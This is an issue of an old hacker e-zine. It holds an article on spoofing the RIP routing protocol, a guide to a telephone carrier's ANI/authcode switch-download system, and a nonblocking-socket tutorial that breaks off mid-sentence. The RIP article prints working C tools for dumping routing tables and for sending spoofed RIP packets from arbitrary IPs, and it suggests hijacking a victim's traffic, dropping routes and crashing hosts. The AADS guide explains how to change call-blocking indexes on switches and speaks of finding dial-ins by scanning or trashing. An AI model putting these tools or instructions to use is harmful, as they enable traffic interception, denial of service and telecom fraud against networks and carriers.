************************* [ I/O Magazine ] ************************* Issue #3 * STAFF * Editor ~~~~~~ Ryan Graciano Writers ~~~~~~~ Ryan Graciano humble Alex Jones PureNRG (wishes to remain anonymous) ramdac Produced through the support of Viewers Like You and Hosted by AntiOnline * INDEX * Introduction....................................Ryan Graciano Spoofing RIP (Routing Information Protocol).....humble Authcode Download System (AADS).................PureNRG Using O_NONBLOCK................................Ryan Graciano Socket Programming Lesson (SPL) Part 2..........ramdac Security and Conformity.........................Alex Jones CDR/PDR Field Descriptions......................PureNRG /var/spool/mail.................................Viewers Like You Introduction ~~~~~~~~~~~~ -by Ryan Graciano (tiepilot@city-net.com) It's alive! Well, after a long hiatus, I/O is back in action with issue #3. We received a lot of feedback concerning past issues, so this time around I have included /var/spool/mail, a forum for I/O to respond to some of your comments. Above all, we received volumes of email wondering if I/O would be back, whether we had died, or sold out, or gone private, or were just tired of the whole thing. Well, from now on, we are going to try to release a new I/O on a bi- or trimonthly basis. I suppose I owe you all an explanation for our, er, long development period :) Well, we were originally counting on putting this issue out in June, believe it or not. However, due to some internal affairs at AntiOnline, and the stability of some of our writers, we decided to put things off for a while. I/O officially came back into action in October, and put the finishing touches on issue #3, this issue, which has been put aside. I promise issue #4 will be on time :) Look for it in the January to February range. You will see announcements on AntiOnline regarding our next release, so despair not if we are a tad late. On to other matters. As usual, I/O is in need of a few writers. In case you have not noticed yet, our staff pages from issue to issue are drastically different :) At the current time, we are really lacking in stable contributors, and I am happy to accept submissions. If you feel you can contribute to our cause, by all means do. I have also decided to open an editorial section of I/O- in issue #4, there will be a portion of the magazine devoted to rants and raves. Feel free to send in an essay regarding any aspect of the technical community, from actual technical topics to what you think of certain groups or outlooks (ie, open sourcing policies vs. Microsoft's "we monopolize everything" legacy). You do not necessarily need a great deal of technical knowledge for a project such as this, just some strong opinions and reasoning to back them. We here at I/O put a lot into this comeback issue. In the end, we hope you not only find it informative, but enjoyable. On with the show. +EOT+ Spoofing RIP (Routing Information Protocol) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - by humble (jmcdonal@unf.edu) Overview -------- RIP is probably the easiest means of implementing dynamic routing that a network administrator has available. RIP is a protocol that is designed for small to medium size networks. The services needed to support RIP are provided with almost every TCP/IP implementation. Essentially, RIP provides a mechanism for a machine to keep an udpated routing table: one that represents the current state of the network. Routers periodically send a copy of their routing table to the subnet broadcast address, allowing other routers to learn these routes. If a certain route is not updated after a good period of time, it is assumed to have gone down. Thus, RIP provides a simple method for routers to propagate their routing information, and thus communicate this information to the hosts that the router directly interacts with. There are two versions of RIP that we must consider. The first version of RIP communicates its routing information relative to itself. For instance, a RIP v1 message looks like this: "If you would like to send your packets to this subnet, they will get here in X hops if you send them through me." A RIP v2 messages, on the other hand, communicates a lot more information. It says: "If you would like to send your packets to this subnet (with a subnet mask of X), then you can send it to this person and it will be X hops away from its destination." RIP version 2 communicates the knowledge of other routers to the network, while RIP version 1 communicates just the knowledge of its routes. RIP daemons can run in two modes: passive, or active. A passive daemon will sit on the network and watch the routers communicate their route information with each other. It will record this information, and the machine it is running on will have an updated routing table. The passive mode daemon will never advertise its routes, unless a special condition occurs. (We will cover that later.) The active mode daemon will continually advertise its routes to the network, and it will send its routing information to any machine that requests it. The active mode daemon is of course listening to the other routers' advertisements and incorporating them into its routing table. Implementation -------------- As noted above, there are two versions of RIP that we must consider: RIPv1 and RIPv2. Both versions of the protocol use the same ports and general packet structure. The RIP version 2 simply fills in parts of the packet that version 1 mandates to be 0. RIP messages are encapsulated in UDP datagrams bound to port 520. The datagram is broken out like this for version 1: 0......7 8......15 16......24 24......31 |command| |version| | 0 | | address family | | 0 | | IP address | | 0 | | 0 | | metric | these five lines repeat for each route A quick overview of the packet: command - 1 is a request, 2 is a reply. There are other commands, but they are mostly obsolete or implementation specific. version - 1 for version 1, 2 for version 2. address family - 2 for IP addresses.. This is what we will be focusing on. ip address - the ip address of the advertised route. metric - (1-16) the number of hops to that route. So, what information is a RIP v1 message conveying? Say you are a passive daemon and you are listening to the broadcast traffic. Say a router at 100.100.0.1 sends out a RIP message advertising: 100.100.16.0 with a metric of 3 This means that if you had a packet destined for the 100.100.16.0 subnet, and you sent it to the router at 100.100.0.1, it would go through 4 hops before it reached its destination. As a passive mode RIP daemon, you would look at your routing table and decide if 4 hops was better than the route you currently have recorded for that subnet. If you didn't have a route to that subnet, then you would add this route to your routing table. Now if this router didn't send out an update for this route for a long time (typically 3 minutes), you would know that the route has probably gone down. Instead of deleting the route entry from your routing table, you would set the metric to 16, indicating a dead link. If the metric on a particular route stays at 16 for a while, you would eventually delete it. The reason for using 16 to represent a dead link is simple. If a router decides that a certain link is dead, because it hasn't recieved an update on it, it will mark the metric as 16. It will *still* advertise the route with a metric of 16. This way, other routers will pick up that the route is down. If the route comes back up, and a router advertises it at a lower metric, all the routers on the network will quickly propagate the new route. Let's look at version 2: 0......7 8......15 16......24 24......31 |command| |version| | route domain | | address family | | route tag | | IP address | | subnet mask | | gateway | | metric | these five lines repeat for each route There are a few major differences: route domain: This is a unique ID that a routing daemon can use to identify itself. The main purpose of this is so that an administrator can have two routing daemons running on the same router. route tag: "The route tag exists to support exterior gateway protocols. It carries an autonomous system number for EGP and BGP." (Stevens 136) subnet mask: This is one of the most important parts of RIP v2. If a daemon recieves a RIP v1 message that says, "I have a route for 135.23.4.0," what does that message actually mean? It could mean that it has a host route to 135.23.4.0, or it could mean the class C starting at the network number 135.23.4.0. It could mean anything. The daemon typically uses the subnet mask that is defined on the interface the RIP packet was recieved upon. This may or may not be a good idea. Therefore, in RIP v2, you can specify the subnet mask of the route you are trying to communicate. gateway: RIP v2 allows you to specify the gateway machine for a particular subnet. This way, a router can advertise routes for other routers, and the network will make itself more efficient. Normally, a router that wanted to go somewhere would pick up a route from another router running RIP, send its packets to that router, receive an ICMP redirect, and adjust its routing tables accordingly. This eliminates all of this and adds more functionality to RIP. Also, it is important to note that RIP v2 offers a form of authentication. If you set the first entry of your RIP packet to have an address family of 0xffff (all 1's), and a route tag of 2, the remaining 16 bytes can be used as a cleartext password. This authentication scheme is not used often, so we don't need to worry about it. If you would like more information about the RIP protocol, consult W. Richard Steven's "TCP/IP Illustrated" (Chapter 10), and the relevant RFC's (1058,1388). Flaws ----- RIP is a UDP based protocol with weak to non-existant authentication. Furthermore, it is stateless, meaning that a RIP daemon will honor replies even though it hasn't sent any requests. These factors make it very fun and easy to abuse. For this section of the article, I will be referring to code from the OpenBSD routed implementation (located in /usr/src/sbin/routed). This code should be somewhat representative of the daemons running on other unixes and routers. I choose this code because it will probably be the most secure implementation of the RIP protocol available, and thus our exploration will focus on the weaknesses of the protocol. The first thing we should try to do is to get a RIP daemon to send us its routing information. The code to send the request is program #1, rprobe. I did not write a program to receive and interpret the RIP datagrams, although it should be fairly easy to do. Instead, I invoke tcpdump like this on another window: tcpdump -vv -s 6000 udp and port 520 Ok, let's look at the RIP daemon source code and try to figure out how we can get it to send us the routing information. routed communicates with the kernel with a special socket of the AF_ROUTE domain. It also listens for ICMP router discovery messages. We will be focusing on the code that handles RIP. Once routed starts up and initializes itself (by purging the kernel of all dynamically assigned routes and setting up its sockets), it enters an infinite loop. The loop basically does this: Record the time. Update its list of alive interfaces. If it is in active mode, and it is time (once every 30 seconds), then broadcast its routing information out to the network. Figure out its schedule. Do a blocking select on all of its sockets, putting them in the read fd set. If it gets new routing information from the kernel, it calls read_rt(). If it gets new ICMP messages, it calls read_d(). If it gets any RIP message off of any interface, it calls read_rip(), passing it the socket and a description of the interface from which the socket was bound to. So, we want to look at read_rip(), which is located in input.c. read_rip() is a simple function, as it reads the packet off of the socket, handles any errors, and slams it into a struct rip. It then passes this structure to input(), which is also in input.c. input() is the main function for handling RIP packets. It does a few sanity checks, namely making sure the version is correct, and the packet is of a tolerable length. Then we see a humurous comment in the code: /* Notice authentication. * As required by section 4.2 in RFC 1723, discard authenticated * RIPv2 messages, but only if configured for that silliness. * * RIPv2 authentication is lame, since snooping on the wire makes * its simple passwords evident. Also, why authenticate queries? * Why should a RIPv2 implementation with authentication disabled * not be able to listen to RIPv2 packets with authenication, while * RIPv1 systems will listen? Crazy! */ Moving on, the function goes into a large switch statement based on the command value in the RIP packet. This implementation has code to handle RIP requests, RIP replies, and turning on RIP tracing remotely. We are trying to get the daemon to dump its routing tables to us, so let's look at the code to handle the request. First, it does some sanity checks, making sure the packet is the right length. Then, it loops through each routing message in the packet. This is the code at the very beginning of the loop: /* A single entry with family RIP_AF_UNSPEC and * metric HOPCNT_INFINITY means "all routes". * We respond to routers only if we are acting * as a supplier, or to anyone other than a router * (i.e. a query). */ if (n->n_family == RIP_AF_UNSPEC && n->n_metric == HOPCNT_INFINITY && n == rip->rip_nets && n+1 == lim) { if (from->sin_port != htons(RIP_PORT)) { /* Answer a query from a utility * program with all we know. */ supply(from, sifp, OUT_QUERY, 0, rip->rip_vers); return; } We can see in this part of the code a special case. If we send the daemon a RIP request with an address family of 0 and a metric of 16, then it will dump us its routing tables. That is, if we are not bound to the RIP port on our side of the socket. So, if a daemon is running in passive mode, we can get it to send us its routing information by sending a packet coming from any port besides 520. If we want to get an active daemon to send us its routing information, we should address it from port 520. From experience, I know that some routers will not respond unless the source port is 520. We can see that the daemon does not really care who it is sending the information too. Thus, we should be able to write a simple UDP program that will send a datagram to a target host, (or better yet, the broadcast address of the target host), and it will respond to us. That program is rprobe, program #1. To use it, you should run tcpdump in one screen, and run rprobe in another. There is a program available called rtquery, which will do a very similiar thing, in a far more comprehensive manner, but it does not allow you to query a broadcast address (recompiling it with a SO_BROADCAST socket option should fix that). Ok, so now we have a means of figuring out the routing information of all of the routers and hosts (running routed) on a RIP network. Now, let's look at the code that handles the RIP replies and see what rules there are in determining whether a particular routing entry is accepted. First, the packet length is verified to be correct. Then, the packet is discarded if it is not originating from port 520. The daemon makes sure that it is not reacting to packets that it has sent. Next, the daemon checks the router that the packet originated from. If it is not a router that is directly connected to it, and it is not in /etc/gateways, then the packet is discarded. These checks are all based upon the source IP of the packet. The daemon then makes sure the version is either RIP v1 or v2. If the v2 authentication is being used, the daemon will check to make sure the password is correct. The daemon then loops through each route entry in the packet. It makes sure that the address family is 2, for IPv4 addresses. Then it calls check_dst(), passing it the address we specified as the destination in our routing entry. check_dst() (in if.c) just makes sure that the destination looks like a reasonable internet IP address. The daemon makes sure the metric is between 1 and 16. The daemon then attempts to verify the gateway address we have given. If it is dealing with a RIP v1 packet, then the gateway should be 0. However, the daemon appears to set the value to 0 if it is a RIPv2 packet also. I think this is an error in the OBSD code. I will see what tech@openbsd.org says. Anyway, if it does look at the gateway address, which it should, it makes sure that the specified gateway is on the same subnet as the interface which received the packet. The daemon then verifies that the netmask is healthy and it also will attempt to infer the netmask if it is reading a RIP v1 packet. The daemon also figures that if it has a default route already, then it won't accept a new one dynamically. Ok... now we are getting into the stuff we are interested in. The daemon will break down one RIPv2 route into several RIPv1 routes if it is necessary in order to express that route with the RIPv1 netmask. Now, for each route that is to be added, the daemon calls input_route(), which is also in input.c If the route is not already in the routing table, and it doesn't specify the daemon machine's IP as the gateway, and it has a metric below 16, then it will be added to the machine's routing table. So, what this tells us is that we should be able to add any route we want to a machine running a RIP services, assuming it hasn't been added before. So, that's good, but what if we want to modify a machines routing table? This has some trickier rules. For each route that the daemon knows about, it keeps a list of "spares." This way, it records the route without actually committing to it. The first item in the spare list is the route that is actually being used. If the route change comes from the router that it is currently using, then it is immediately accepted. If the change involves the metric getting worse, it will look through its spares for a better option. However, if the daemon receives an update from one of its spares, it will consider making it the active route, if its metric is the best. Now, if the daemon receives a route update for a route that it knows about, but from an unknown router, then it will save the spare. It will only save the spare if it has a better metric than the current worst spare. So, what have we learned from this? A route is basically the combination of a destination and a netmask. We should be able to add any route that we want that isn't in place, assuming the gateway is a machine on the same subnet as the host. We should also be able to change any route by offering a new one with a better metric. In situations where the metric is 1, and we can't offer a better metric, we can still change the route. What we have to do to pull this off is to tell the machine that all of the routes it is currently using are of metric 16 (i.e. dead) and that the route we are offering has a metric of 1. If we can kill off all of the spares it has saved, then our route will win. Program 2, srip, uses a raw socket to send spoofed RIPv1 or RIPv2 messages from an arbitrary source IP. This code is tested on OpenBSD 2.3 and the latest stable Debian release (I forget the version). Ok, now we have the tools and the understanding... What are some of the fun things you can do with RIP? If you happen to find someone who's ISP is running RIP, you could send a route message from a dead host on their subnet, advertising a route to somewhere that person likes to go (think IRC server). Send it to their broadcast address, their default gateway will pick it up, and forward the packets on through to the dead host, while sending ICMP redirects to your victim the whole time. You could compile IP forwarding into your kernel, and set up routes from various machines that are on your subnet (but are not necessarily sniffable) to other hosts on your network. For instance, you could set it up such that everytime Bob telnets to Jim's computer, the packets bounce through you. Also, if you can determine all of the routers on a subnet, you can force them into dropping routes that they have picked up dynamically by spoofing metric 16 routes. Remember, if you can guess what router is advertising a particular route, you can take that route down by spoofing packets from that router. On some implementations, you can almost bring machines to a halt by flooding them with RIP requests and forcing the kernel to keep growing and purging its routing table. I've noticed that some SunOS boxes and some OS/2 machines will actually crash if you fill up the kernel's routing table. (This is easy to do with ICMP redirects as well). Perhaps the most useful thing you can do with RIP is glean information about how a network is setup. If you can come up with any interesting abuses of RIP, send me email. Example Code ------------ Program 1: rprobe.c ---------------------- #include #include #include #include #include #include #include #include #include #include #define RIP_PORT 520 struct rip_message { unsigned short family; unsigned short tag; unsigned long ip; unsigned long netmask; unsigned long gateway; unsigned long metric; }; struct rip { unsigned char command; unsigned char version; unsigned short domain; struct rip_message routes[1]; }; void usage(void) { fprintf(stderr,"Usage: rprobe [-av] target\n"); fprintf(stderr," a:\t\tquery active mode daemons (requires root priveleges)\n"); fprintf(stderr," v:\t\tspecify rip version 2\n"); fprintf(stderr," target:\tdestination\n"); exit(42); } int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in their_addr; struct sockaddr_in ours; struct hostent *he; char hostname[256]; int localport; int numbytes; int ch,version; struct rip evil; long on=1; localport=4242; version=1; while ( (ch=getopt(argc,argv,"va")) != -1) { switch (ch) { case 'v': version=2; break; case 'a': localport=RIP_PORT; break; default : usage(); } } argc-=optind; argv+=optind; if (argc!=1) usage(); strncpy(hostname,argv[0],sizeof(hostname)); if ((he=gethostbyname(hostname)) == NULL) { herror("gethostbyname"); exit(1); } if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { perror("socket"); exit(1); } if (setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))==-1) { perror("setsockopt"); exit(1); } their_addr.sin_family = AF_INET; /* host byte order */ their_addr.sin_port = htons(RIP_PORT); /* short, network byte order */ their_addr.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */ bzero(&ours,sizeof(struct sockaddr)); ours.sin_family = AF_INET; /* host byte order */ ours.sin_port = htons(localport); /* short, network byte order */ bzero(&(ours.sin_zero), 8); /* zero the rest of the struct */ bind(sockfd,(struct sockaddr *)&ours,sizeof(struct sockaddr)); bzero(&evil,sizeof(struct rip)); evil.command=1; evil.version=version; evil.routes[0].metric=htonl(16); printf("Sending packet.\n"); if ((numbytes=sendto(sockfd, &evil, sizeof(struct rip), 0, \ (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1) { perror("recvfrom"); exit(1); } printf("Sent %d bytes.\n",numbytes); close(sockfd); exit(0); } ---------------------- Program 2: srip.c ---------------------- #include #include #include #include #include #include #include #include #include #include /* define our own structs so this will be easier to port*/ #define IPVERSION 4 struct ip_header { unsigned char ip_hl:4, /* header length */ ip_v:4; /* version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src, ip_dst; /* source and dest address */ }; struct udp_header { unsigned short uh_sport; /* source port */ unsigned short uh_dport; /* destination port */ unsigned short uh_ulen; /* udp length */ unsigned short uh_sum; /* udp checksum */ }; #define RIP_PORT 520 struct rip_message { unsigned short family; unsigned short tag; unsigned long ip; unsigned long netmask; unsigned long gateway; unsigned long metric; }; struct rip { unsigned char command; unsigned char version; unsigned short domain; struct rip_message routes[1]; }; struct raw_pkt { struct ip_header ip; struct udp_header udp; struct rip rip; }; struct raw_pkt* pkt; unsigned long int get_ip_addr(char* str) { struct hostent *hostp; unsigned long int addr; if ( (addr = inet_addr(str)) == -1) { if ( (hostp = gethostbyname(str))) return *(unsigned long int*)(hostp->h_addr); else { fprintf(stderr,"unknown host %s\n",str); exit(1); } } return addr; } unsigned short checksum(unsigned short* addr,char len) { register long sum = 0; while(len > 1) { sum += *addr++; len -= 2; } if(len > 0) sum += *addr; while (sum>>16) sum = (sum & 0xffff) + (sum >> 16); return ~sum; } void usage(void) { printf("Usage: srip [-2] [-n netmask] [-g gateway] source dest target metric\n"); printf(" 2:\t\tRIP version 2\n"); printf(" n:\t\tnetmask (for version 2)\n"); printf(" g:\t\tgateway (for version 2)\n"); printf(" source:\tRIP packet sender\n"); printf(" dest:\t\tRIP packet destination\n"); printf(" target:\tadvertised route\n"); printf(" metric:\tadvertised metric\n"); exit(0); } int main(int argc,char** argv) { struct sockaddr_in sa; int sock,packet_len; int ch; long source,dest,target,netmask,gateway; int version,metric; int on = 1; version=1; netmask=0; gateway=0; while ( (ch = getopt(argc,argv,"2n:g:"))!= -1 ) { switch (ch) { case 'n': netmask=get_ip_addr(optarg); break; case 'g': gateway=get_ip_addr(optarg); break; case '2': version=2; break; default:usage(); break; } } argc-=optind; argv+=optind; if (argc!=4) usage(); source=get_ip_addr(argv[0]); dest=get_ip_addr(argv[1]); target=get_ip_addr(argv[2]); metric=atoi(argv[3]); if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if (setsockopt(sock,SOL_SOCKET,SO_BROADCAST,(char *)&on,sizeof(on))<0) { perror("setsockopt: SO_BROADCAST"); exit(1); } if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) { perror("setsockopt: IP_HDRINCL"); exit(1); } sa.sin_addr.s_addr = dest; sa.sin_family = AF_INET; packet_len = sizeof(struct raw_pkt); pkt = calloc((size_t)1,(size_t)packet_len); pkt->ip.ip_v = IPVERSION; pkt->ip.ip_hl = sizeof(struct ip_header) >> 2; pkt->ip.ip_tos = 0; pkt->ip.ip_len = htons(packet_len); pkt->ip.ip_id = htons(getpid() & 0xFFFF); pkt->ip.ip_off = 0; pkt->ip.ip_ttl = 0xdf; pkt->ip.ip_p = IPPROTO_UDP ;//UDP pkt->ip.ip_sum = 0; pkt->ip.ip_src = source; pkt->ip.ip_dst = sa.sin_addr.s_addr; pkt->ip.ip_sum = checksum((unsigned short*)pkt,sizeof(struct ip_header)); pkt->udp.uh_sport = htons(520); pkt->udp.uh_dport = htons(520); pkt->udp.uh_ulen = htons(sizeof(struct udp_header)+sizeof(struct rip)); pkt->udp.uh_sum = 0; pkt->rip.command = 2; pkt->rip.version = version; pkt->rip.routes[0].family = htons(2); pkt->rip.routes[0].ip = target; pkt->rip.routes[0].metric = htonl(metric); //putting in the udp checksum breaks it. //someone email and explain this to me :> //pkt->udp.uh_sum = checksum((unsigned short*)&(pkt->udp), //sizeof(struct udp_header)+sizeof(struct rip)); if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) { perror("sendto"); exit(1); } } ---------------------- Sources ------- TCP/IP Illustrated Volume 1 by W. Richard Stevens OpenBSD 2.3 routed source code (deraadt / Berkeley) +EOT+ Authcode Download System (AADS) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -by PureNRG DESCRIPTION ----------- ANI/Authcode Download System (AADS) is a batch processing system designed to allow for the download of ANI's and authcodes to switches. The actual interface is unimportant, since you can successfully figure it out remotely with this guide. For our purposes, we will deal only with the ANI portion. LOGON ----- At the COMS main menu, select AADS. At the AADS main menu, place an "S" beside the "Switch Maintenance" option. (This is the only section that we will be concerned with.) At the "Switch Maintenance Menu" the options we will use are as follows: ANI Browse/Select ANI Maintenance ANI Inquire ANI Update ANI History Inquiry Here is a brief summary of what each of the options' functions are. Based upon what you want to do or see, you can select one of the options and PF10 back to the menu to perform additional functions. 1. ANI Browse/Select * This screen lists valid active ANI's and associated information ordered by NPA. You can select an ANI for (I)nquire, (U)pdate, (D)eletion, and (H)istorical Inquire. You can also access existing Notes or the Note Add screen (PF keys will be listed on the bottom). 2. ANI Maintenance * This screen allows you to enter up to 12 ANI's at one time for entry into AADS and update the Switch Network. There are 7 required fields that must have information entered for the download to complete. 3. NPA 4. NXX 5. Station 6. Class of service: 23 digit numeric. * Options are 00 through 15, 21, or 40. For a listing of the options and what they represent, you can select PF 5 once you've reached this field. 7. VPAC Index: 3 digit numeric. * For our purposes, this will always be 00, unless updating a Telcom USA ANI. For a valid listing of the options and what they represent, you can select PF 5. 8. Reason Code: 3 character alphanumeric. * This indicates why the change is being made. For a complete listing of valid reason codes, you can hit PF 6 once you reach this field. 9. Block Length: 23 digit numeric. * For our purposes, we will leave it blank. However, the options are 30, 60, 90, and 120, which indicate how long, in number of days, a block will be in place (autodelete function). Once all required information is entered, be sure that the "Transmit Shipment Indicator" is "Y". Then hit Enter and the information will disappear, which indicates it's been sent to CommShip for processing. RULES AND GUIDELINES -------------------- Up to twelve (12) ANIs can be entered at one time from this screen. If the ANI entered does not currently exist in AADS, it will be written to the ANI Database. If the ANI entered already exists in AADS, it will be written to the ANI Database, and the previous ANI Database value will be written to the ANI History Database. The user cannot add an ANI that requires a Data Switch (i.e. SW56 ANI) if the ANI's NPA/NXX is not associated with a data switch in the AADS NPA/NXX table. If the user chooses to SHIP the transaction (a "Y" in the Transmit Shipment Field), a shipment is created and transmitted to CommSHIP upon completion of the transaction. If the user chooses not to SHIP the transaction (an "N" in the Transmit Shipment field), a pending ANI record will be written to the ANI table. The current ANI record will remain on the ANI table also. Only one pending record is allowed at one time for an ANI. The existence of a pending ANI record does not block the user from completing future transactions against that ANI. All data errors identified by AADS will be highlighted. An error message will be displayed for the first error encountered. A transaction cannot be completed until all errors are resolved. A confirmation message is presented after the user completes the data entry and presses enter. The user must press enter again to confirm the transaction or press the Abort PF key to cancel the transaction. After the transaction is processed, a completion message is displayed on the message line and the screen is cleared for further data entry. 1. ANI Inquire * This screen allows you to review an ANI's current status in AADS and its associated switches. If a shipment has not completed, the associated switch will be displayed twice; once with the pending shipment record, and again with the previous ANI transaction shipment data that is currently loaded into the switch. * If notes had been entered, you can view them by selecting PF9. * Only active ANIs can be reviewed via the ANI Inquire transaction. 2. ANI Update * This Screen allows you to review and modify existing ANI information in AADS. * We would only use this function if a download was performed in error. This would permit for the correction to be made. 3. ANI History Inquire * This screen allows the user to review current and historical ANI information in AADS. * The active ANI record and all previous ANI transactions data for the past 180 days is available for review on this screen. OTHER INFORMATION ~~~~~~~~~~~~~~~~~ The purpose of AADS is to make changes to an ANI index. An ANI index is a set of instructions for the originating switch which processes a call. When a switched customer places a call, the local telco takes the originating ANI and determines what long distance carrier to send the call to. Our switch then looks at the ANI index of the ORIGINATING number and depending upon what that index is, determines how the switch proceeds with terminating the call. If an ANI has a 00 index, this means there are no restrictions of any kind and the switch will send the call to it's terminating destination. If an ANI has an index 10, which means this is a VNET or VISION ANI, the switch will then query the DAP which, at that point, is responsible for initiating any features (i.e. verifies the range privilege, account codes, 10-digit exclusion, etc.) An ANI index of 08 would indicate that this is a Dial-1 ANI with 2-digit accounting codes. Since Dial-1 is switched base and not DAP based, the switch sends the code prompt and does the verifying unlike VNET where this process is done in the DAP. However, there are a few things to keep in mind: AADS allows you to make changes and check to see if the changes you made have completed. It will NOT allow you to check the ANI index on an ANI that has not had a change made to it in the last months. THE ONLY SURE WAY TO KNOW WHAT THE INDEX IS OF AN ANI IS TO GO DIRECTLY INTO THE SWITCH. Before making any changes in AADS to an index other than 00, you must verify that the ANI is in OCIS and has been active for at least 72 hours. WHY? When an account is installed in OCIS or an ANI is activated or deactivated on an OCIS account, the information downloads into NOPS (New Order Processing System). NOPS then downloads into AADS and the appropriate switches with the proper indexing information based on the changes made in OCIS. (i.e. When a VNET account is installed in OCIS, the information is sent to NOPS which says "make the ANIs on this account an index 10.") When a VNET account is deactivated, the reverse happens. OCIS tells NOPS to tell the switch that the ANIs should be 00. The reason that the ANIs must be installed in OCIS for 72 hours is because it takes 24 hours for this information to download from OCIS to NOPS, then up to an additional 48 hours to complete from NOPS to the switches. If an index is incorrect (usually because there is a glitch in the above system), and the ANI has not had any changes to it in OCIS in 72 hours, then you go ahead and download the ANI into AADS with the correct index. The completion will take up to 24 hours. Do NOT do another download if one is already in place. What this does is requires the switch to do twice as much work which creates a backlog and longer completion times. Below is a list of ANI Index's 0 1+ 1 Prison 2 Priority Customer 3 Dial-1 Switched 56 5 North America Public Access 6 900 Blocking 7 900 Blocking w/2-Digit Accounting Codes 8 1+ w/2-Digit Accounting Codes 10 VNET 11 1+ w/4-Digit Account Codes 12 Universal Public Access 13 Operator Service Blocking 14 1+ w/3-Digit Accounting Codes 15 Call Blocking (usually by Fraud or Credit & Collections) 21 1+ w/4-Digit Accounting Codes 30 IAOS Operator Services 40 VNET/Vision Switched 56 If you havent found any of these through scanning or trashing, I might post the dial-ins. If the crowd roars loud enough! Have phun. +EOT+ Using O_NONBLOCK ~~~~~~~~~~~~~~~~ -by Ryan Graciano (tiepilot@city-net.com) By now I assume that you are familiar with the concept of blocking. If not, or if you have forgotten what blocking is, here is a refresher. Whenever you call read(), write(), connect(), or similar functions, you must wait until the operation is completed for the function to return. These functions are said to be blocking functions, because they block the program's normal operation until they return. Although this makes things smoother overall, and easier to manage, sometimes we just do not have the time to wait for every single accept() to return. For example, if we are writing a daemon that does not fork() a child process to handle connection requests, we can only pay attention to accept() for a short period of time, and then we must check on our clients to see if they need the program's attention. To do this, we set a socket to nonblocking by calling fcntl(), as in this example: fcntl(sock, F_SETFL, O_NONBLOCK); If you are not familiar with fcntl(), here is what is happening there- sock is an integer that was assigned a value through a socket() or open() call, because any descriptor will work. F_SETFL is the fcntl() command we are issuing. Its purpose is to set the flags on a file descriptor, and you guessed it, O_NONBLOCK is the flag that we are setting. Incidentally, O_NDELAY is interchangeable with O_NONBLOCK in some implementations. Also, you will want to check for an fcntl() error when you call it. If fcntl() returns a value less than 0, then something went wrong (perhaps you passed it a descriptor that was closed previously, or never initialized). Well, terrific. Now we have a socket that does not block. But what do we do with it? Well, this new, spiffy, nonblocking socket should perform as any other would, with a minor exception. Normally, you are going to call read() and accept() and expect a result. But in this case, if no data is available to be read, read() will return an error: EAGAIN. This error is to inform you that there was no data available to be read at the time you called it. accept(), in turn, will give you EWOULDBLOCK as an error (EWOULDBLOCK and EAGAIN are actually equal values). Although a write() will appear to work and be finished, in actuality, it could still be trying to write whatever data you passed it. If there was no room left to write the data, it will give you EAGAIN. Some calls will give you EINPROGRESS, such as connect(), indicating that the operation is underway. It's also possible to receive EALREADY, indicating that the call is still working on what you asked it to do. Let's take a look at a simple TCP server that blocks, so that we may contrast it with a later example of one that does not. /* tcpblock.c * * Written as a short example * * for "I/O Magazine." * * Connect to PORT and type "hi" * * - tiepilot@city-net.com */ #include #include #include #include #define PORT 12345 #define REPLY "Hello, world.\n" int main(int argc, char **argv) { int sock, csock; struct sockaddr_in server, client; char buf[1028]; if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Rats, socket() failed\n"); exit(-1); } server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = htons(PORT); if((bind(sock, (struct sockaddr *)&server, sizeof(server))) < 0) { printf("Rats, couldn't bind to port %d.\n",PORT); exit(-1); } listen(sock, 5); for(;;) { if((csock = accept(sock, (struct sockaddr *)&client, (int *)sizeof(client))) < 0) { printf("Rats, accept() failed. That'll ruin your day.\n"); exit(-1); } if((recv(csock, (void *)buf, sizeof(buf), 0)) < 0) { printf("Rats, recv() didn't work.\n"); exit(-1); } if((buf[0] == 'h') && (buf[1] == 'i')) { if((send(csock, (void *)REPLY, sizeof(REPLY), 0)) < 0) { printf("Boy I hate it when send() fails!\n"); exit(-1); } } close(csock); } } What does this server do right now? Well, it sits in an infinite loop, serving one connection at a time, and then closing it. Without fork()ing a child process, it would be a serious pain to handle multiple connections this way. In fact, it would be entirely unworkable. Try it yourself- have 2 telnet clients connect. Type "hi" in the second one, and leave it running. Nothing happens, yet. First, you must type "hi" in the first one, so the daemon can finish with that client. Then you will see a response in the second client. Just ctrl-c or kill tcpblock to stop it. Obviously, this is not a feasible way to run a server. As seen in my article from I/O #1, "IPC in the Unix Environment," the server can dodge the blocking problem by fork()ing a new instance of the server proc for every client that connects. That way, each client has its own, personal little server that only has the single client to worry about. Meanwhile, the parent will not have to worry about the client at all, as it will just keep accepting connections and fork()ing new processes. However, there are alternatives to this fork()ing method, such as nonblocking sockets. With nonblocking sockets, we will be able to handle more than one client at once. However, a lot of structural changes will be made to our program. First of all, we will have more than one descriptor to keep track of now. Instead of only taking care of csock in the loop, we will monitor an array of sockets. By now, you're probably wondering how this works. An individual read() on each socket would be tedious to implement. So what do we do? Fortunately, we have been given select() to take care of this little conundrum for us. select() will watch a set of descriptors until they are ready for reading or writing, or until they have an exception. Note that you choose which descriptors select() monitors for which event- you must tell select() that these particular descriptors should be watched until they are reading for reading, or writing, and so on. Thus, just because select() is watching for an exception, does not mean a return is implied when the 